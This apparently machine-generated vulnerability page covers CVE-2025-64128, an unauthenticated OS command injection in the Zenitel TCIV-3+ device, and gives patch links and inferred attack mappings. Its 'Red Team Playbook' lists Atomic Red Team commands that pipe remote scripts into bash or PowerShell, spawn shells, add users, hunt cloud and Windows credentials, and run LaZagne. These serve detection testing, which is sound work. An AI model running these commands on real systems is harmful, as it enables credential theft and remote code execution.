CVE-2025-64128
Overview
This vulnerability is an OS command injection flaw caused by insufficient validation of user-supplied input in the Zenitel TCIV-3+ device. The input validation mechanism fails to enforce strict formatting rules, allowing attackers to append arbitrary commands. The affected component is the input handling functionality within the device's firmware that processes user commands or data inputs.
Vulnerability Description
An OS command injection vulnerability exists due to incomplete validation of user-supplied input. Validation fails to enforce sufficient formatting rules, which could permit attackers to append arbitrary data. This could allow an unauthenticated attacker to inject arbitrary commands.
Impact
An unauthenticated attacker with network access can execute arbitrary OS commands on the Zenitel TCIV-3+ device, leading to full system compromise. This includes the ability to manipulate device functionality, disrupt services, or pivot within the network. The vulnerability requires no user interaction and has low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward and potentially allowing widespread impact in operational environments.
Solution
Zenitel has released firmware updates addressing this command injection vulnerability. Users should download and apply the latest Station and Device Firmware Package (VS-IS) available at https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29. Additionally, the CISA ICS advisory ICSA-25-329-03 provides guidance and references to the updated firmware. Applying these patches promptly is critical to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An OS command injection vulnerability arises when an application inadequately validates user-supplied input, allowing attackers to execute arbitrary commands on the host operating system. This particular vulnerability is characterized by a failure to enforce stringent formatting rules, which can lead to the injection of malicious commands. Attackers can exploit this weakness by crafting input that appends additional commands to legitimate requests, effectively manipulating the execution flow of the application. The severity of this vulnerability is underscored by its potential to allow unauthenticated users to gain control over system-level operations, which can lead to significant security breaches.
Exploitation of this vulnerability can occur through various attack vectors. For instance, an attacker might submit specially crafted input through a web form or an API endpoint that does not properly sanitize user data. By appending shell commands to the input, the attacker can trick the application into executing these commands on the server. Scenarios may include executing system commands to read sensitive files, modifying system configurations, or launching further attacks on the network. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly dangerous, as it can be executed remotely without any prior access to the system.
The real-world impact of such a vulnerability can be profound, posing significant business risks. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential damage to the organization's reputation. For instance, attackers could leverage this vulnerability to deploy malware, steal intellectual property, or exfiltrate customer data, leading to compliance violations and financial losses. The fallout from such incidents often includes legal ramifications, loss of customer trust, and increased scrutiny from regulatory bodies. Organizations may also face substantial costs related to incident response, system remediation, and public relations efforts to restore their reputation.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First and foremost, input validation must be rigorously enforced across all user inputs. This includes employing whitelisting techniques to ensure that only expected and safe input formats are accepted. Additionally, employing web application firewalls (WAFs) can help detect and block malicious input patterns before they reach the application. Regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate vulnerabilities in a timely manner. Furthermore, organizations should ensure that their systems are kept up-to-date with the latest security patches and updates to minimize the risk of exploitation.
In conclusion, the presence of an OS command injection vulnerability poses a critical threat to the integrity and security of affected systems. The potential for exploitation by unauthenticated attackers highlights the necessity for robust input validation and proactive security measures. Organizations must remain vigilant and adopt comprehensive security strategies to mitigate the risks associated with such vulnerabilities. By prioritizing security best practices and fostering a culture of security awareness, organizations can significantly reduce their exposure to the threats posed by command injection vulnerabilities and other similar attacks.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-64128 |
| wiki.zenitel.com |
GitHub CVE
|
https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-03 |
| github.com |
GitHub CVE
|
https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-03.json |